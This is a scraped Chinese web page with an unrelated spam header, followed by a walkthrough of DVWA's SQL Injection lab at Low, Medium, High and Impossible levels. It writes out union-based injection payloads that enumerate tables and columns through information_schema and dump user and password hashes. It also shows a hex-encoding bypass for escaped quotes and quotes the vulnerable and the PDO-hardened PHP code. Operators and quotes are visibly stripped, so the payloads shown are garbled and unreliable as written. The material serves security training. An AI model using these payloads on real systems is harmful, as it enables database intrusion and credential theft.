網(wǎng)站代碼怎么放做外貿(mào)網(wǎng)站賺錢嗎
鶴壁市浩天電氣有限公司
2026/01/24 10:20:43
網(wǎng)站代碼怎么放,做外貿(mào)網(wǎng)站賺錢嗎,注冊(cè)公司網(wǎng)上申請(qǐng)入口網(wǎng)站,網(wǎng)站建設(shè)空間怎么租用DVWA -SQL Injection-通關(guān)教程-完結(jié) SQL注入是一種攻擊者通過(guò)在應(yīng)用程序的輸入字段中插入惡意SQL代碼#xff0c;從而操縱后端數(shù)據(jù)庫(kù)查詢的攻擊技術(shù)。如果應(yīng)用程序未對(duì)用戶輸入進(jìn)行適當(dāng)過(guò)濾#xff0c;這些惡意SQL代碼會(huì)被數(shù)據(jù)庫(kù)執(zhí)行#xff0c;導(dǎo)致數(shù)據(jù)泄露、篡改或破壞。 …DVWA -SQL Injection-通關(guān)教程-完結(jié)SQL注入是一種攻擊者通過(guò)在應(yīng)用程序的輸入字段中插入惡意SQL代碼從而操縱后端數(shù)據(jù)庫(kù)查詢的攻擊技術(shù)。如果應(yīng)用程序未對(duì)用戶輸入進(jìn)行適當(dāng)過(guò)濾這些惡意SQL代碼會(huì)被數(shù)據(jù)庫(kù)執(zhí)行導(dǎo)致數(shù)據(jù)泄露、篡改或破壞。文章目錄DVWA -SQL Injection-通關(guān)教程-完結(jié)Low級(jí)別SQL注入攻擊實(shí)戰(zhàn)1、頁(yè)面功能測(cè)試2、SQL注入攻擊Medium級(jí)別SQL注入攻擊實(shí)戰(zhàn)High級(jí)別SQL注入攻擊實(shí)戰(zhàn)Impossible 級(jí)別SQL注入攻擊Low級(jí)別SQL注入攻擊實(shí)戰(zhàn)1、頁(yè)面功能測(cè)試1.安全級(jí)別設(shè)置為L(zhǎng)ow點(diǎn)擊SQL Injection進(jìn)入SQL注入攻擊頁(yè)面。發(fā)現(xiàn)該頁(yè)面是個(gè)查詢隨意輸入一個(gè)ID值可以查詢First name和Surname2、SQL注入攻擊1.判斷字符型還是數(shù)字型最終結(jié)果確定為字符型1 //測(cè)試閉合符 1and11-- //驗(yàn)證注入點(diǎn)1 and12-- //確認(rèn)漏洞可利用性2.判斷字段數(shù)最終字段數(shù)為2使用order by進(jìn)行判斷字段數(shù) 至到order by進(jìn)行報(bào)錯(cuò)時(shí)候就是字段數(shù)。1 or 11 order by 1 # 1or11order by2#1 or11order by3#3.確定顯示的字段順序1 unionselect1,2#Firstname位置返回1字段surname位置返回2字段4.獲取當(dāng)前數(shù)據(jù)庫(kù)1 unionselect1,database()#在2字段位置返回?cái)?shù)據(jù)庫(kù)名稱其他常用函數(shù)用戶權(quán)限user(), current_user()版本系統(tǒng)version()字符串處理concat(), substring(), ascii(), hex()文件操作load_file(), into outfile()需權(quán)限 盲注相關(guān)sleep(), benchmark(), if()時(shí)間函數(shù)now(), current_timestamp()5.獲取數(shù)據(jù)庫(kù)中的表1 unionselect1,group_concat(table_name)from information_schema.tables wheretable_schemadatabase()#得到兩張表分別是guestbook和users注入語(yǔ)句詳解1? //閉合原查詢 union select? //聯(lián)合查詢 group_concat()? //聚合函數(shù) group_concat(column_name)-- 將多行合并為一行 group_concat(table_name)-- 將所有表名合并 from information_schema.tables? //元數(shù)據(jù)表 information_schema.tables表結(jié)構(gòu) ----------------------------------|字段名|描述|----------------------------------|TABLE_SCHEMA|數(shù)據(jù)庫(kù)名||TABLE_NAME|表名||TABLE_TYPE|表類型||ENGINE|存儲(chǔ)引擎||TABLE_ROWS|行數(shù)||AVG_ROW_LENGTH|平均行長(zhǎng)度||DATA_LENGTH|數(shù)據(jù)長(zhǎng)度||CREATE_TIME|創(chuàng)建時(shí)間||UPDATE_TIME|更新時(shí)間|---------------------------------- 為什么用這個(gè)表 包含所有數(shù)據(jù)庫(kù)、表、列的元數(shù)據(jù) 標(biāo)準(zhǔn)SQL所有MySQL版本都支持 普通用戶有只讀權(quán)限 是獲取數(shù)據(jù)庫(kù)結(jié)構(gòu)的標(biāo)準(zhǔn)方法 wheretable_schemadatabase()? - 過(guò)濾條件 table_schema字段存儲(chǔ)數(shù)據(jù)庫(kù)名稱,用于區(qū)分不同數(shù)據(jù)庫(kù)中的同名表 database()函數(shù)返回當(dāng)前選中的數(shù)據(jù)庫(kù)名稱#? //注釋符,注釋掉原SQL的剩余部分6.獲取字段名1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers#說(shuō)明users表中有8個(gè)字段分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login注入語(yǔ)句詳解1? //閉合前面的SQL語(yǔ)句,結(jié)束原來(lái)的查詢條件 union select 1, //添加一個(gè)新的查詢,數(shù)字1是占位符用來(lái)匹配原查詢的列數(shù) group_concat(column_name)? ? 核心功能 //group_concat()? 把多個(gè)值合并成一個(gè)字符串 //column_name? 列名 //合起來(lái)把所有列名合并成一行顯示 from information_schema.columns //information_schema.columns? MySQL的系統(tǒng)表 //這個(gè)表里存儲(chǔ)了所有表的所有列信息 where table_nameusers //只查詢表名等于users的表,也就是只獲取users表的列信息#//注釋符號(hào),把后面沒用的SQL代碼都忽略掉7.獲取數(shù)據(jù)1 or12unionselectuser, password fromusers#Medium級(jí)別SQL注入攻擊實(shí)戰(zhàn)1.安全級(jí)別設(shè)置為Medium進(jìn)入SQL注入攻擊頁(yè)面發(fā)現(xiàn)在前端頁(yè)面設(shè)置了下拉選擇表單控制用戶輸入。雖然前端使用了下拉選擇菜單但我們依然可以通過(guò)抓包改參數(shù)提交惡意構(gòu)造的查詢參數(shù)。1.判斷注入類型因?yàn)榍岸耸褂孟吕藛嗡缘猛ㄟ^(guò)抓包修改參數(shù)。這里有兩個(gè)辦法每次都進(jìn)行抓包修改或者使用BurpSuite的Repeater模塊1 //測(cè)試閉合符1and11-- //驗(yàn)證注入點(diǎn)1and12-- //確認(rèn)漏洞可利用性2.猜測(cè)字段數(shù)確定回顯字段順序獲取當(dāng)前數(shù)據(jù)庫(kù)獲取數(shù)據(jù)庫(kù)中的表這四部分操作與Low級(jí)別差別不大這里只附上相關(guān)語(yǔ)句1unionselect1,2#1unionselectdatabase(),version()#1unionselect1,group_concat(table_name)from information_schema.tables wheretable_schemadatabase()#3.獲取表中字段名1unionselect1,group_concat(column_name)from information_schema.columns wheretable_nameusers#按照原來(lái)的思路構(gòu)建了語(yǔ)句但是發(fā)生了錯(cuò)誤是因?yàn)閱我?hào)被轉(zhuǎn)義利用十六進(jìn)制繞過(guò)。字符串-16進(jìn)制轉(zhuǎn)換在線工具1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name0x7573657273#4.獲取數(shù)據(jù)1unionselectuser,password fromusers#High級(jí)別SQL注入攻擊實(shí)戰(zhàn)1.設(shè)置安全級(jí)別為High進(jìn)入SQL注入攻擊頁(yè)面頁(yè)面使用了讀顯分離有效的防止了SQLMap等自動(dòng)化工具的使用。代碼審計(jì)?phpif(isset($_SESSION[id])){// Get input$id$_SESSION[id];// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;//LIMIT 1是一個(gè)SQL查詢中的限制語(yǔ)句用于指定查詢結(jié)果集中的最大行數(shù)。在這段代碼中它用于限制查詢結(jié)果只返回一行數(shù)據(jù)即根據(jù)會(huì)話ID獲取用戶的名字和姓氏。//使用LIMT1可以提高查詢效率并避免在查詢結(jié)果集中返回大量數(shù)據(jù)$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(preSomething went wrong./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}((is_null($___mysqli_resmysqli_close($GLOBALS[___mysqli_ston])))?false:$___mysqli_res);}?繞過(guò)方式雖然添加了LIMIT 1但是可以通過(guò)#將其注釋掉。注入過(guò)程和之前類似在這里不做額外演示。Impossible 級(jí)別SQL注入攻擊查看頁(yè)面源碼這段代碼也使用了PDO技術(shù)劃清了代碼與數(shù)據(jù)的界限有效防御SQL注入同時(shí)只有返回的查詢結(jié)果數(shù)量為一時(shí)才會(huì)成功輸出這樣就有效預(yù)防了“脫褲”Anti-CSRFtoken機(jī)制的加入了進(jìn)一步提高了安全性。?phpif(isset($_GET[Submit])){// Check Anti-CSRF token//isset()用于檢查變量是否已設(shè)置并且非 NULL。checkToken($_REQUEST[user_token],$_SESSION[session_token],index.php);/*checkToken() 是一個(gè)自定義函數(shù)用于檢查傳遞的安全令牌是否有效以確保請(qǐng)求不是惡意偽造的。 該函數(shù)接受三個(gè)參數(shù) user_token從用戶請(qǐng)求中接收的安全令牌。 session_token存儲(chǔ)在用戶會(huì)話中的安全令牌。 redirect重定向的頁(yè)面 URL。 該函數(shù)將首先檢查 user_token 和 session_token 是否匹配。如果不匹配則可能是 CSRF 攻擊該函數(shù)將終止腳本并打印錯(cuò)誤消息。如果匹配則函數(shù)將返回 true。 該函數(shù)通常用于處理任何可能受到 CSRF 攻擊的操作例如表單提交。它是一種常見的安全技術(shù)以確保請(qǐng)求來(lái)自預(yù)期的來(lái)源并且用戶已經(jīng)授權(quán)執(zhí)行請(qǐng)求的操作。*? */// Get input$id$_GET[id];// Was a number entered?//is_numeric用于檢查一個(gè)值是否為數(shù)字或數(shù)字字符串。如果值為數(shù)字或數(shù)字字符串則該函數(shù)返回 true否則返回 false。if(is_numeric($id)){$idintval($id);switch($_DVWA[SQLI_DB]){caseMYSQL:// Check the database$data$db-prepare(SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1;);$data-bindParam(:id,$id,PDO::PARAM_INT);$data-execute();$row$data-fetch();// Make sure only 1 result is returnedaif($data-rowCount()1){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}break;caseSQLITE:global$sqlite_db_connection;$stmt$sqlite_db_connection-prepare(SELECT first_name, last_name FROM users WHERE user_id :id LIMIT 1;);$stmt-bindValue(:id,$id,SQLITE3_INTEGER);$result$stmt-execute();$result-finalize();if($result!false){// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it wont stop someone dumping// multiple rows and viewing them one at a time.$num_columns$result-numColumns();if($num_columns2){$row$result-fetchArray();// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?